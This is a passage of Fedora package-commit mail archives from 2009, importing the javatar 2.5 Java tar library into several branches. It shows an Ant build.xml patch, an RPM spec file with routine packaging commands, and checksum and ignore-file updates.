-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javac>
-	</target>
-
-	<target name="source" depends="init">
-		<copy todir="${sourcedir}">
-			<fileset
-				dir="${srcdir}"
-				includes="com/ice/tar/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="doc" depends="javadoc,docs">
-	</target>
-
-	<target name="docs" depends="init">
-		<copy todir="${docdir}">
-			<fileset
-				dir="${tardir}/doc/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="javadoc" depends="init" unless="javadoc.notreq">
-  		<javadoc
-			packagenames="com.ice.tar"
-			destdir="${apidocdir}"
-			author="true"
-			version="true"
-			use="true"
-			windowtitle="Java Tar by Tim Endres"
-			bottom="${copyright}"
-			>
-
-			<group title="Java Tar" packages="com.ice.tar"/>
-
-			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
-
-			<sourcepath>
-				<pathelement location="${srcdir}"/>
-			</sourcepath>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javadoc>
-	</target>
-
-	<target name="init" depends="init-props,echo-props">
-
-		<tstamp/>
-
-		<mkdir dir="${build}" />
-		<mkdir dir="${docdir}" />
-		<mkdir dir="${apidocdir}" />
-		<mkdir dir="${jardir}" />
-		<mkdir dir="${classdir}" />
-		<mkdir dir="${sourcedir}" />
-
-		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
-			<srcfiles dir="${srcdir}" includes="**/*.java"/>
-		</uptodate>
-
-	</target>
-
-	<target name="echo-props">
-		<echo message="basedir=${basedir}" />
-		<echo message="build=${build}" />
-		<echo message="bindir=${bindir}" />
-		<echo message="jardir=${jardir}" />
-		<echo message="classdir=${classdir}" />
-		<echo message="sourcedir=${sourcedir}" />
-		<echo message="srcdir=${srcdir}" />
-	</target>
-
-	<target name="init-props">
-		<property name="my.verbose" value="off"/>
-
-		<!-- TAGS -->
-		<property name="reltag" value="release-2-5" />
-		<property name="relnum" value="2.5" />
-
-		<!-- DIRECTORIES -->
-		<property name="build" value="${basedir}/tar-${relnum}" />
-
-		<property name="classdir" value="${build}/classes" />
-		<property name="jardir" value="${build}/jars" />
-		<property name="docdir" value="${build}/doc" />
-		<property name="apidocdir" value="${docdir}/api" />
-		<property name="sourcedir" value="${build}/source" />
-
-		<property name="srcdir" value="${basedir}/java" />
-		<property name="tardir" value="${srcdir}/com/ice/tar" />
-
-		<!-- JARS -->
-		<property name="activationjar"
-			value="C:/java/jaf-1.0.1/activation.jar" />
-
-		<!-- GLOBALS -->
-		<property name="java.home" value="C:/java/jdk1.3"/>
-		<property name="java.lib" value="${java.home}/jre/lib"/>
-		<property name="build.compiler" value="modern"/>
-
-		<property name="copyright"
-			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
-			/>
-	</target>
-
-</project>
-
+
+<!-- Targets: all, zip, deploy, compile, clean, init -->
+
+<project name="ndui" default="all" basedir="../../../..">
+
+	<target name="all" depends="zip">
+	</target>
+
+	<target name="clean" depends="init">
+		<delete dir="${build}" />
+	</target>
+
+	<target name="zip" depends="deploy">
+		<zip zipfile="${basedir}/javatar-${relnum}.zip">
+			<zipfileset
+				dir="${build}"
+				prefix="javatar-${relnum}/"
+				/>
+		</zip>
+
+	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
+		<tarfileset
+			dir="${build}"
+			prefix="javatar-${relnum}/"
+			/>
+	</tar>
+
+	<gzip
+		src="${basedir}/javatar-${relnum}.tar"
+		zipfile="${basedir}/javatar-${relnum}.tar.gz"
+		/>
+
+  	</target>
+
+	<target name="deploy" depends="compile,source,doc">
+		<jar
+			jarfile="${jardir}/tar.jar"
+			manifest="${tardir}/META-INF/MANIFEST.MF"
+			>
+			<fileset dir="${classdir}" />
+  		</jar>
+	</target>
+
+	<target name="compile" depends="init">
+		<javac
+			srcdir="${srcdir}"
+			destdir="${classdir}"
+			verbose="${my.verbose}"
+			deprecation="${my.deprec}"
+			>
+
+			<include name="com/ice/tar/"/>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javac>
+	</target>
+
+	<target name="source" depends="init">
+		<copy todir="${sourcedir}">
+			<fileset
+				dir="${srcdir}"
+				includes="com/ice/tar/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="doc" depends="javadoc,docs">
+	</target>
+
+	<target name="docs" depends="init">
+		<copy todir="${docdir}">
+			<fileset
+				dir="${tardir}/doc/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="javadoc" depends="init" unless="javadoc.notreq">
+  		<javadoc
+			packagenames="com.ice.tar"
+			destdir="${apidocdir}"
+			author="true"
+			version="true"
+			use="true"
+			windowtitle="Java Tar by Tim Endres"
+			bottom="${copyright}"
+			>
+
+			<group title="Java Tar" packages="com.ice.tar"/>
+
+			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
+
+			<sourcepath>
+				<pathelement location="${srcdir}"/>
+			</sourcepath>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javadoc>
+	</target>
+
+	<target name="init" depends="init-props,echo-props">
+
+		<tstamp/>
+
+		<mkdir dir="${build}" />
+		<mkdir dir="${docdir}" />
+		<mkdir dir="${apidocdir}" />
+		<mkdir dir="${jardir}" />
+		<mkdir dir="${classdir}" />
+		<mkdir dir="${sourcedir}" />
+
+		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
+			<srcfiles dir="${srcdir}" includes="**/*.java"/>
+		</uptodate>
+
+	</target>
+
+	<target name="echo-props">
+		<echo message="basedir=${basedir}" />
+		<echo message="build=${build}" />
+		<echo message="bindir=${bindir}" />
+		<echo message="jardir=${jardir}" />
+		<echo message="classdir=${classdir}" />
+		<echo message="sourcedir=${sourcedir}" />
+		<echo message="srcdir=${srcdir}" />
+	</target>
+
+	<target name="init-props">
+		<property name="my.verbose" value="off"/>
+
+		<!-- TAGS -->
+		<property name="reltag" value="release-2-5" />
+		<property name="relnum" value="2.5" />
+
+		<!-- DIRECTORIES -->
+		<property name="build" value="${basedir}/tar-${relnum}" />
+
+		<property name="classdir" value="${build}/classes" />
+		<property name="jardir" value="${build}/jars" />
+		<property name="docdir" value="${build}/doc" />
+		<property name="apidocdir" value="${docdir}/api" />
+		<property name="sourcedir" value="${build}/source" />
+
+		<property name="srcdir" value="${basedir}/source" />
+		<property name="tardir" value="${srcdir}/com/ice/tar" />
+
+		<!-- JARS -->
+		<property name="activationjar"
+			value="/usr/share/java/activation.jar" />
+
+		<!-- GLOBALS -->
+		<property name="java.home" value="C:/java/jdk1.3"/>
+		<property name="java.lib" value="${java.home}/jre/lib"/>
+		<property name="build.compiler" value="modern"/>
+
+		<property name="copyright"
+			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
+			/>
+	</target>
+
+</project>
+


--- NEW FILE javatar.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           javatar
Version:        2.5
Release:        2%{?dist}
Summary:        Java tar archive io package

Group:          Development/Libraries
License:        Public Domain
URL:            http://www.trustice.com/java/tar/
Source0:        http://www.gjt.org/download/time/java/tar/javatar-%{version}.tar.gz
# Fix srcdir and point to system activation.jar
Patch0:         %{name}-2.5-build.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
BuildRequires:  classpathx-jaf

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java
Requires:       classpathx-jaf

%description
The package com.ice.tar implements a tar archive io package. This package
allows you to create, and extract tar archives. Since the package uses
InputStream and OutputStream, it is possible to combine this package with the
java.util.zip package to handle .tar.gz files.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1 -b .build
find \( -name '*.jar' -o -name '*.class' \) -exec rm -f '{}' +
# Fix line endings
find \( -name '*.java' -o -name '*.txt' -o -name '*.xml' -o -name LICENSE \) -exec sed -i 's/\r//' '{}' +
#Remove manifest classpath and name
sed -i -e '/^Class-Path:/d' -e '/^Name:/d' source/com/ice/tar/META-INF/MANIFEST.MF


%build
ant -buildfile source/com/ice/tar/build.xml deploy


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p tar-%{version}/jars/tar.jar \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar-%{version}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}
cp -rp doc $RPM_BUILD_ROOT/%{_javadocdir}/%{name}

%if %{with_gcj}
rm -rf tar-%{version}/source
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc doc/LICENSE
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%{_javadir}/tar-%{version}.jar
%{_javadir}/tar.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-2
- Remove existing class files
- Package javadocs
- Make sure debuginfo has source files

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:06:42 -0000	1.1
+++ .cvsignore	29 Oct 2009 17:20:36 -0000	1.2
@@ -0,0 +1 @@
+javatar-2.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:06:42 -0000	1.1
+++ sources	29 Oct 2009 17:20:36 -0000	1.2
@@ -0,0 +1 @@
+7dae3b92b70c30cfb6fd9699a79f821c  javatar-2.5.tar.gz



From orion at fedoraproject.org  Thu Oct 29 17:20:36 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 17:20:36 +0000 (UTC)
Subject: rpms/javatar/F-11 javatar-2.5-build.patch, NONE, 1.1 javatar.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029172036.ED99D11C02A3@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/javatar/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23329/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	javatar-2.5-build.patch javatar.spec 
Log Message:
Initial import

javatar-2.5-build.patch:
 build.xml |  342 ++++++++++++++++++++++++++++++--------------------------------
 1 file changed, 170 insertions(+), 172 deletions(-)

--- NEW FILE javatar-2.5-build.patch ---
--- javatar-2.5/source/com/ice/tar/build.xml.build	2003-06-30 01:48:36.000000000 -0600
+++ javatar-2.5/source/com/ice/tar/build.xml	2009-10-14 15:10:04.448876991 -0600
@@ -1,172 +1,170 @@
-
-<!-- Targets: all, zip, deploy, compile, clean, init -->
-
-<project name="ndui" default="all" basedir="../../../..">
-
-	<target name="all" depends="zip">
-	</target>
-
-	<target name="clean" depends="init">
-		<delete dir="${build}" />
-	</target>
-
-	<target name="zip" depends="deploy">
-		<zip zipfile="${basedir}/javatar-${relnum}.zip">
-			<zipfileset
-				dir="${build}"
-				prefix="javatar-${relnum}/"
-				/>
-		</zip>
-
-	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
-		<tarfileset
-			dir="${build}"
-			prefix="javatar-${relnum}/"
-			/>
-	</tar>
-
-	<gzip
-		src="${basedir}/javatar-${relnum}.tar"
-		zipfile="${basedir}/javatar-${relnum}.tar.gz"
-		/>
-
-  	</target>
-
-	<target name="deploy" depends="compile,source,doc">
-		<jar
-			jarfile="${jardir}/tar.jar"
-			manifest="${tardir}/META-INF/MANIFEST.MF"
-			>
-			<fileset dir="${classdir}" />
-  		</jar>
-
-		<copy file="${activationjar}" todir="${jardir}" />
-	</target>
-
-	<target name="compile" depends="init">
-		<javac
-			srcdir="${srcdir}"
-			destdir="${classdir}"
-			verbose="${my.verbose}"
-			deprecation="${my.deprec}"
-			>
-
-			<include name="com/ice/tar/"/>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javac>
-	</target>
-
-	<target name="source" depends="init">
-		<copy todir="${sourcedir}">
-			<fileset
-				dir="${srcdir}"
-				includes="com/ice/tar/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="doc" depends="javadoc,docs">
-	</target>
-
-	<target name="docs" depends="init">
-		<copy todir="${docdir}">
-			<fileset
-				dir="${tardir}/doc/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="javadoc" depends="init" unless="javadoc.notreq">
-  		<javadoc
-			packagenames="com.ice.tar"
-			destdir="${apidocdir}"
-			author="true"
-			version="true"
-			use="true"
-			windowtitle="Java Tar by Tim Endres"
-			bottom="${copyright}"
-			>
-
-			<group title="Java Tar" packages="com.ice.tar"/>
-
-			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
-
-			<sourcepath>
-				<pathelement location="${srcdir}"/>
-			</sourcepath>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javadoc>
-	</target>
-
-	<target name="init" depends="init-props,echo-props">
-
-		<tstamp/>
-
-		<mkdir dir="${build}" />
-		<mkdir dir="${docdir}" />
-		<mkdir dir="${apidocdir}" />
-		<mkdir dir="${jardir}" />
-		<mkdir dir="${classdir}" />
-		<mkdir dir="${sourcedir}" />
-
-		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
-			<srcfiles dir="${srcdir}" includes="**/*.java"/>
-		</uptodate>
-
-	</target>
-
-	<target name="echo-props">
-		<echo message="basedir=${basedir}" />
-		<echo message="build=${build}" />
-		<echo message="bindir=${bindir}" />
-		<echo message="jardir=${jardir}" />
-		<echo message="classdir=${classdir}" />
-		<echo message="sourcedir=${sourcedir}" />
-		<echo message="srcdir=${srcdir}" />
-	</target>
-
-	<target name="init-props">
-		<property name="my.verbose" value="off"/>
-
-		<!-- TAGS -->
-		<property name="reltag" value="release-2-5" />
-		<property name="relnum" value="2.5" />
-
-		<!-- DIRECTORIES -->
-		<property name="build" value="${basedir}/tar-${relnum}" />
-
-		<property name="classdir" value="${build}/classes" />
-		<property name="jardir" value="${build}/jars" />
-		<property name="docdir" value="${build}/doc" />
-		<property name="apidocdir" value="${docdir}/api" />
-		<property name="sourcedir" value="${build}/source" />
-
-		<property name="srcdir" value="${basedir}/java" />
-		<property name="tardir" value="${srcdir}/com/ice/tar" />
-
-		<!-- JARS -->
-		<property name="activationjar"
-			value="C:/java/jaf-1.0.1/activation.jar" />
-
-		<!-- GLOBALS -->
-		<property name="java.home" value="C:/java/jdk1.3"/>
-		<property name="java.lib" value="${java.home}/jre/lib"/>
-		<property name="build.compiler" value="modern"/>
-
-		<property name="copyright"
-			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
-			/>
-	</target>
-
-</project>
-
+
+<!-- Targets: all, zip, deploy, compile, clean, init -->
+
+<project name="ndui" default="all" basedir="../../../..">
+
+	<target name="all" depends="zip">
+	</target>
+
+	<target name="clean" depends="init">
+		<delete dir="${build}" />
+	</target>
+
+	<target name="zip" depends="deploy">
+		<zip zipfile="${basedir}/javatar-${relnum}.zip">
+			<zipfileset
+				dir="${build}"
+				prefix="javatar-${relnum}/"
+				/>
+		</zip>
+
+	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
+		<tarfileset
+			dir="${build}"
+			prefix="javatar-${relnum}/"
+			/>
+	</tar>
+
+	<gzip
+		src="${basedir}/javatar-${relnum}.tar"
+		zipfile="${basedir}/javatar-${relnum}.tar.gz"
+		/>
+
+  	</target>
+
+	<target name="deploy" depends="compile,source,doc">
+		<jar
+			jarfile="${jardir}/tar.jar"
+			manifest="${tardir}/META-INF/MANIFEST.MF"
+			>
+			<fileset dir="${classdir}" />
+  		</jar>
+	</target>
+
+	<target name="compile" depends="init">
+		<javac
+			srcdir="${srcdir}"
+			destdir="${classdir}"
+			verbose="${my.verbose}"
+			deprecation="${my.deprec}"
+			>
+
+			<include name="com/ice/tar/"/>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javac>
+	</target>
+
+	<target name="source" depends="init">
+		<copy todir="${sourcedir}">
+			<fileset
+				dir="${srcdir}"
+				includes="com/ice/tar/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="doc" depends="javadoc,docs">
+	</target>
+
+	<target name="docs" depends="init">
+		<copy todir="${docdir}">
+			<fileset
+				dir="${tardir}/doc/"
+				excludes="**/CVS/"
+				/>
+		</copy>
+	</target>
+
+	<target name="javadoc" depends="init" unless="javadoc.notreq">
+  		<javadoc
+			packagenames="com.ice.tar"
+			destdir="${apidocdir}"
+			author="true"
+			version="true"
+			use="true"
+			windowtitle="Java Tar by Tim Endres"
+			bottom="${copyright}"
+			>
+
+			<group title="Java Tar" packages="com.ice.tar"/>
+
+			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
+
+			<sourcepath>
+				<pathelement location="${srcdir}"/>
+			</sourcepath>
+
+			<classpath>
+				<pathelement location="${activationjar}" />
+			</classpath>
+
+		</javadoc>
+	</target>
+
+	<target name="init" depends="init-props,echo-props">
+
+		<tstamp/>
+
+		<mkdir dir="${build}" />
+		<mkdir dir="${docdir}" />
+		<mkdir dir="${apidocdir}" />
+		<mkdir dir="${jardir}" />
+		<mkdir dir="${classdir}" />
+		<mkdir dir="${sourcedir}" />
+
+		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
+			<srcfiles dir="${srcdir}" includes="**/*.java"/>
+		</uptodate>
+
+	</target>
+
+	<target name="echo-props">
+		<echo message="basedir=${basedir}" />
+		<echo message="build=${build}" />
+		<echo message="bindir=${bindir}" />
+		<echo message="jardir=${jardir}" />
+		<echo message="classdir=${classdir}" />
+		<echo message="sourcedir=${sourcedir}" />
+		<echo message="srcdir=${srcdir}" />
+	</target>
+
+	<target name="init-props">
+		<property name="my.verbose" value="off"/>
+
+		<!-- TAGS -->
+		<property name="reltag" value="release-2-5" />
+		<property name="relnum" value="2.5" />
+
+		<!-- DIRECTORIES -->
+		<property name="build" value="${basedir}/tar-${relnum}" />
+
+		<property name="classdir" value="${build}/classes" />
+		<property name="jardir" value="${build}/jars" />
+		<property name="docdir" value="${build}/doc" />
+		<property name="apidocdir" value="${docdir}/api" />
+		<property name="sourcedir" value="${build}/source" />
+
+		<property name="srcdir" value="${basedir}/source" />
+		<property name="tardir" value="${srcdir}/com/ice/tar" />
+
+		<!-- JARS -->
+		<property name="activationjar"
+			value="/usr/share/java/activation.jar" />
+
+		<!-- GLOBALS -->
+		<property name="java.home" value="C:/java/jdk1.3"/>
+		<property name="java.lib" value="${java.home}/jre/lib"/>
+		<property name="build.compiler" value="modern"/>
+
+		<property name="copyright"
+			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
+			/>
+	</target>
+
+</project>
+


--- NEW FILE javatar.spec ---
%global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}

Name:           javatar
Version:        2.5
Release:        2%{?dist}
Summary:        Java tar archive io package

Group:          Development/Libraries
License:        Public Domain
URL:            http://www.trustice.com/java/tar/
Source0:        http://www.gjt.org/download/time/java/tar/javatar-%{version}.tar.gz
# Fix srcdir and point to system activation.jar
Patch0:         %{name}-2.5-build.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  jpackage-utils
BuildRequires:  java-devel
BuildRequires:  ant
BuildRequires:  classpathx-jaf

%if %{with_gcj}
BuildRequires:    java-gcj-compat-devel >= 1.0.31
Requires(post):   java-gcj-compat >= 1.0.31
Requires(postun): java-gcj-compat >= 1.0.31
%else
BuildArch:      noarch
%endif

Requires:       jpackage-utils
Requires:       java
Requires:       classpathx-jaf

%description
The package com.ice.tar implements a tar archive io package. This package
allows you to create, and extract tar archives. Since the package uses
InputStream and OutputStream, it is possible to combine this package with the
java.util.zip package to handle .tar.gz files.


%package javadoc
Summary:        Javadocs for %{name}
Group:          Development Documentation
Requires:       %{name} = %{version}-%{release}
Requires:       jpackage-utils

%description javadoc
This package contains the API documentation for %{name}.


%prep
%setup -q
%patch0 -p1 -b .build
find \( -name '*.jar' -o -name '*.class' \) -exec rm -f '{}' +
# Fix line endings
find \( -name '*.java' -o -name '*.txt' -o -name '*.xml' -o -name LICENSE \) -exec sed -i 's/\r//' '{}' +
#Remove manifest classpath and name
sed -i -e '/^Class-Path:/d' -e '/^Name:/d' source/com/ice/tar/META-INF/MANIFEST.MF


%build
ant -buildfile source/com/ice/tar/build.xml deploy


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_javadir}
cp -p tar-%{version}/jars/tar.jar \
  $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar.jar
ln -s %{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/tar-%{version}.jar

mkdir -p $RPM_BUILD_ROOT%{_javadocdir}
cp -rp doc $RPM_BUILD_ROOT/%{_javadocdir}/%{name}

%if %{with_gcj}
rm -rf tar-%{version}/source
%{_bindir}/aot-compile-rpm
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%post
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif

%postun
%if %{with_gcj}
  if [ -x %{_bindir}/rebuild-gcj-db ] 
  then
    %{_bindir}/rebuild-gcj-db
  fi
%endif


%files
%defattr(-,root,root,-)
%doc doc/LICENSE
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{name}.jar
%{_javadir}/tar-%{version}.jar
%{_javadir}/tar.jar
%if %{with_gcj}
%attr(-,root,root) %{_libdir}/gcj/%{name}
%endif

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}


%changelog
* Mon Oct 26 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-2
- Remove existing class files
- Package javadocs
- Make sure debuginfo has source files

* Wed Oct 14 2009 Orion Poplawski <orion at cora.nwra.com> - 2.5-1
- Initial Fedora Package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:06:42 -0000	1.1
+++ .cvsignore	29 Oct 2009 17:20:36 -0000	1.2
@@ -0,0 +1 @@
+javatar-2.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/javatar/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:06:42 -0000	1.1
+++ sources	29 Oct 2009 17:20:36 -0000	1.2
@@ -0,0 +1 @@
+7dae3b92b70c30cfb6fd9699a79f821c  javatar-2.5.tar.gz



From orion at fedoraproject.org  Thu Oct 29 17:20:37 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 17:20:37 +0000 (UTC)
Subject: rpms/javatar/F-12 javatar-2.5-build.patch, NONE, 1.1 javatar.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029172037.59E5D11C02A3@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/javatar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23329/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	javatar-2.5-build.patch javatar.spec 
Log Message:
Initial import

javatar-2.5-build.patch:
 build.xml |  342 ++++++++++++++++++++++++++++++--------------------------------
 1 file changed, 170 insertions(+), 172 deletions(-)

--- NEW FILE javatar-2.5-build.patch ---
--- javatar-2.5/source/com/ice/tar/build.xml.build	2003-06-30 01:48:36.000000000 -0600
+++ javatar-2.5/source/com/ice/tar/build.xml	2009-10-14 15:10:04.448876991 -0600
@@ -1,172 +1,170 @@
-
-<!-- Targets: all, zip, deploy, compile, clean, init -->
-
-<project name="ndui" default="all" basedir="../../../..">
-
-	<target name="all" depends="zip">
-	</target>
-
-	<target name="clean" depends="init">
-		<delete dir="${build}" />
-	</target>
-
-	<target name="zip" depends="deploy">
-		<zip zipfile="${basedir}/javatar-${relnum}.zip">
-			<zipfileset
-				dir="${build}"
-				prefix="javatar-${relnum}/"
-				/>
-		</zip>
-
-	<tar tarfile="${basedir}/javatar-${relnum}.tar" >
-		<tarfileset
-			dir="${build}"
-			prefix="javatar-${relnum}/"
-			/>
-	</tar>
-
-	<gzip
-		src="${basedir}/javatar-${relnum}.tar"
-		zipfile="${basedir}/javatar-${relnum}.tar.gz"
-		/>
-
-  	</target>
-
-	<target name="deploy" depends="compile,source,doc">
-		<jar
-			jarfile="${jardir}/tar.jar"
-			manifest="${tardir}/META-INF/MANIFEST.MF"
-			>
-			<fileset dir="${classdir}" />
-  		</jar>
-
-		<copy file="${activationjar}" todir="${jardir}" />
-	</target>
-
-	<target name="compile" depends="init">
-		<javac
-			srcdir="${srcdir}"
-			destdir="${classdir}"
-			verbose="${my.verbose}"
-			deprecation="${my.deprec}"
-			>
-
-			<include name="com/ice/tar/"/>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javac>
-	</target>
-
-	<target name="source" depends="init">
-		<copy todir="${sourcedir}">
-			<fileset
-				dir="${srcdir}"
-				includes="com/ice/tar/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="doc" depends="javadoc,docs">
-	</target>
-
-	<target name="docs" depends="init">
-		<copy todir="${docdir}">
-			<fileset
-				dir="${tardir}/doc/"
-				excludes="**/CVS/"
-				/>
-		</copy>
-	</target>
-
-	<target name="javadoc" depends="init" unless="javadoc.notreq">
-  		<javadoc
-			packagenames="com.ice.tar"
-			destdir="${apidocdir}"
-			author="true"
-			version="true"
-			use="true"
-			windowtitle="Java Tar by Tim Endres"
-			bottom="${copyright}"
-			>
-
-			<group title="Java Tar" packages="com.ice.tar"/>
-
-			<link href="http://java.sun.com/products/jdk/1.3/docs/api/"/>
-
-			<sourcepath>
-				<pathelement location="${srcdir}"/>
-			</sourcepath>
-
-			<classpath>
-				<pathelement location="${activationjar}" />
-			</classpath>
-
-		</javadoc>
-	</target>
-
-	<target name="init" depends="init-props,echo-props">
-
-		<tstamp/>
-
-		<mkdir dir="${build}" />
-		<mkdir dir="${docdir}" />
-		<mkdir dir="${apidocdir}" />
-		<mkdir dir="${jardir}" />
-		<mkdir dir="${classdir}" />
-		<mkdir dir="${sourcedir}" />
-
-		<uptodate property="javadoc.notreq" targetfile="${apidocdir}/index.html" >
-			<srcfiles dir="${srcdir}" includes="**/*.java"/>
-		</uptodate>
-
-	</target>
-
-	<target name="echo-props">
-		<echo message="basedir=${basedir}" />
-		<echo message="build=${build}" />
-		<echo message="bindir=${bindir}" />
-		<echo message="jardir=${jardir}" />
-		<echo message="classdir=${classdir}" />
-		<echo message="sourcedir=${sourcedir}" />
-		<echo message="srcdir=${srcdir}" />
-	</target>
-
-	<target name="init-props">
-		<property name="my.verbose" value="off"/>
-
-		<!-- TAGS -->
-		<property name="reltag" value="release-2-5" />
-		<property name="relnum" value="2.5" />
-
-		<!-- DIRECTORIES -->
-		<property name="build" value="${basedir}/tar-${relnum}" />
-
-		<property name="classdir" value="${build}/classes" />
-		<property name="jardir" value="${build}/jars" />
-		<property name="docdir" value="${build}/doc" />
-		<property name="apidocdir" value="${docdir}/api" />
-		<property name="sourcedir" value="${build}/source" />
-
-		<property name="srcdir" value="${basedir}/java" />
-		<property name="tardir" value="${srcdir}/com/ice/tar" />
-
-		<!-- JARS -->
-		<property name="activationjar"
-			value="C:/java/jaf-1.0.1/activation.jar" />
-
-		<!-- GLOBALS -->
-		<property name="java.home" value="C:/java/jdk1.3"/>
-		<property name="java.lib" value="${java.home}/jre/lib"/>
-		<property name="build.compiler" value="modern"/>
-
-		<property name="copyright"
-			value="&lt;i&gt;This software has been placed into the public domain.&lt;/i&gt;"
-			/>
-	</target>
-
-</project>
-
+
+<!-- Targets: all, zip, deploy, compile, clean, init -->
+
+<project name="ndui" default="all" basedir="../../../..">
+
+	<target name="all" depends="zip">
+	</target>
